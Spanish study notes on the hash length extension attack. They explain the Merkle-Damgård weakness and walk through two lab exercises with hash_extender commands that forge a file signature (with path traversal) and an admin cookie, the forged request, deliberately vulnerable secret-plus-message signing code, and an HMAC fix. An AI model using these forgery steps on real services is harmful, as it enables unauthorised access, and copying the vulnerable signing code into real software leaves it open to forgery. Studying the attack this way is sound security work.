Ataques y defensa

Ataque de extensión de longitud de hash

#appsec#blueteam#crypto#redteam#web

Un ataque de extensión de longitud es una vulnerabilidad criptográfica que afecta a funciones hash construidas con la construcción Merkle-Damgård (MD5, SHA-1, SHA-256). Permite a un…

Definición

Un ataque de extensión de longitud es una vulnerabilidad criptográfica que afecta a funciones hash construidas con la construcción Merkle-Damgård (MD5, SHA-1, SHA-256). Permite a un atacante que conoce el hash H(secreto || mensaje) calcular un hash válido para H(secreto || mensaje || relleno || datos_extra) sin conocer el secreto, simplemente continuando el proceso de hash desde el estado interno que representa el hash conocido.

La vulnerabilidad no está en los datos ni en el secreto, sino en cómo la función hash transfiere su estado interno entre bloques de datos.

Contexto

Fundamentos de funciones hash criptográficas

Las funciones hash transforman una entrada de longitud variable en una salida de longitud fija (el digest). Sus propiedades de seguridad son:

  • Resistencia a preimagen: dado H(m), no es viable calcular m.
  • Resistencia a segunda preimagen: dado m₁, no es viable encontrar m₂ ≠ m₁ con H(m₁) = H(m₂).
  • Resistencia a colisiones: no es viable encontrar ningún par (m₁, m₂) con H(m₁) = H(m₂).

Usos comunes: verificación de integridad de archivos, almacenamiento de contraseñas, firmas digitales, HMAC.

Construcción Merkle-Damgård y por qué es explotable

MD5, SHA-1 y SHA-256 procesan los datos en bloques de tamaño fijo (512 bits). El proceso es:

  1. Padding: el mensaje se rellena hasta el siguiente múltiplo del tamaño de bloque.
  2. Procesamiento por bloques: cada bloque actualiza un estado interno (registros A, B, C, D en MD5; H0–H7 en SHA-256).
  3. Salida: el estado interno final es el hash.

La vulnerabilidad radica en que el estado interno tras procesar el mensaje original es exactamente el hash. Si un atacante obtiene el hash, obtiene el estado desde el que la función continuaría procesando bloques adicionales. Puede así extender el mensaje y calcular el nuevo hash válido sin conocer la entrada original.

Funciones hash comparadas

Función Tamaño de bloque Estado interno Rondas ¿Vulnerable a LEA?
MD5 512 bits 128 bits (4 registros) 64 ✅ Sí
SHA-1 512 bits 160 bits (5 palabras) 80 ✅ Sí
SHA-256 512 bits 256 bits (8 palabras) 64 ✅ Sí (si se usa sin HMAC)
SHA-3 (Keccak) Variable Construcción esponja ❌ No
HMAC-SHA256 Clave mezclada ❌ No

Desarrollo

Mecánica del ataque

Para ejecutar un ataque de extensión de longitud, el atacante necesita:

  1. El hash H(secreto || mensaje).
  2. La longitud del secreto (o capacidad de estimarla).
  3. Comprensión del relleno (padding) que aplica la función hash.

El relleno PKCS-SHA añade:

  • Un bit 1 al final del mensaje.
  • Ceros hasta llegar a 448 bits (para un bloque de 512 bits).
  • La longitud original del mensaje en los últimos 64 bits.

Ejemplo para SHA-256 con mensaje de 72 bits (“TryHackMe”):

72 bits de mensaje + 1 bit '1' + 375 bits de ceros + 64 bits de longitud = 512 bits

Una vez añadido el relleno, la función continúa procesando nuevos bloques. Los 64 rounds de SHA-256 por bloque actualizan las 8 variables de trabajo (a–h), que se suman a los valores hash iniciales (H0–H7) para producir el estado final.

El hash resultante es exactamente el estado que el atacante necesita para continuar el proceso.

Escenario de comparación

Hashing normal Ataque de extensión
Mensaje: usuario=test Mensaje: usuario=test
Padding → 1 bloque El atacante añade &admin=true
Hash válido para el mensaje original Nuevo hash predecible sin conocer la clave

Escenario 1 — Falsificación de firma en archivos (Lab 1)

La aplicación en http://lea.thm/labs/lab1/ firma nombres de archivo con SHA-256:

function sign($str, $secret) {
return hash('sha256', $secret . $str);
}
// Valida: sign($file, $SECRET) === $signature

El atacante conoce el hash de 1.png y quiere acceder a 4.png. Usando hash_extender:

Terminal window
# Solo en laboratorio controlado
./hash_extender \
--data 1.png \
--signature 02d101c0ac898f9e69b7d6ec1f84a7f0d784e59bbbe057acb4cef2cf93621ba9 \
--append /../4.png \
--out-data-format=html

Salida:

Type: sha256
Secret length: 8
New signature: <nuevo_hash>
New string: 1%2epng%80%00...%00h%2f%2e%2e%2f4%2epng

La solicitud falsificada:

GET /product.php?file=1%2epng%80%00...%2f4%2epng&signature=<nuevo_hash>

El servidor valida la firma y concede acceso a 4.png porque el hash extendido es criptográficamente válido para la cadena completa (incluyendo el relleno).

La aplicación en http://lea.thm/labs/lab2/ firma cookies con SHA-256:

if ($hsh === hash("sha256", $SECRET . $auth)) {
if (strpos($auth, 'role=1') !== false) {
// Panel de admin
}
}

Cookie de usuario estándar: username=user;role=0. El atacante extiende la cookie para añadir ;role=1:

Terminal window
# Solo en laboratorio controlado
./hash_extender \
--data 'username=user;role=0' \
--append ';role=1' \
--signature bfe0fa5c36531773c73dcc8d2a931301f69cf9add05a1f35dcfa2d48b44c37f0 \
--format sha256 \
--secret 8 \
--out-data-format=html

Resultado: una nueva firma y cadena auth con ;role=1 al final. El servidor aplica strpos($auth, 'role=1'), que coincide aunque haya relleno binario intermedio, concediendo acceso de administrador.

Herramienta: hash_extender

  • Repositorio: https://github.com/iagox86/hash_extender
  • Instalación: gcc hash_extender.c -o hash_extender -lcrypto
  • Parámetros clave:
    • --data: datos originales que se firmaron.
    • --signature: hash original.
    • --append: datos a añadir.
    • --format: algoritmo (md5, sha1, sha256…).
    • --secret: longitud de la clave secreta (puede requerirse fuerza bruta si se desconoce).
    • --out-data-format=html: formato de salida para URL encoding.

⚠️ Solo en laboratorio. Usar contra sistemas en producción sin autorización es ilegal.

Ejemplos

Generación normal de hash SHA-256:

import hashlib
mensaje = "TryHackMe"
h = hashlib.sha256(mensaje.encode()).hexdigest()
# h = "9e897fb7e8832e7d6e5f63a4bdbd0cd6496f53cb3f54b5abf84217d9f4ca5397"

Implementación vulnerable de firma (no usar en producción):

import hashlib
# VULNERABLE: no usar hash(secret + mensaje) para firmas
def firma_vulnerable(secreto, mensaje):
return hashlib.sha256((secreto + mensaje).encode()).hexdigest()

Implementación segura con HMAC:

import hmac, hashlib
def firma_segura(clave, mensaje):
return hmac.new(clave.encode(), mensaje.encode(), hashlib.sha256).hexdigest()

Pitfalls

  • “SHA-256 es seguro, lo usaré para firmar”: SHA-256 directo sobre secreto || mensaje es vulnerable a LEA. La seguridad del algoritmo no compensa la estructura explotable de Merkle-Damgård.
  • “Si no conozco la longitud del secreto, el ataque falla”: hash_extender permite iterar sobre longitudes de secreto posibles (1–255 bytes). Si la respuesta del servidor varía entre longitudes válidas e inválidas, se puede determinar la longitud por fuerza bruta.
  • “Solo funciona si el secreto va al principio”: correcto, H(mensaje || secreto) no es vulnerable a LEA pero sí puede ser vulnerable a otros ataques. HMAC es la solución robusta.
  • “SHA-3 también es vulnerable”: SHA-3 usa construcción esponja, no Merkle-Damgård. No es vulnerable a LEA.
  • “HMAC mitiga pero el servidor puede seguir mostrando errores útiles”: las side-channel responses (respuestas de tiempo diferente o errores detallados) pueden seguir siendo explotables aunque se use HMAC.

Diagrama

sequenceDiagram
    participant A as Atacante
    participant S as Servidor

    Note over A: Conoce: H(secret||"1.png"), longitud del secret
    A->>A: Calcula padding para "1.png" con su longitud
    A->>A: hash_extender: extiende con "/../4.png"
    A->>A: Obtiene nueva firma válida
    A->>S: GET /product.php?file=1.png[padding]/../4.png&sig=nueva_firma
    S->>S: sign("1.png[padding]/../4.png", $SECRET)
    S->>S: Firma coincide ✅
    S->>A: Responde con contenido de 4.png

Referencias

Ver también: Cryptographic Failures, Padding Oracle Attack, Insecure Randomness

Título original en mis apuntes: Hash Length Extension Attack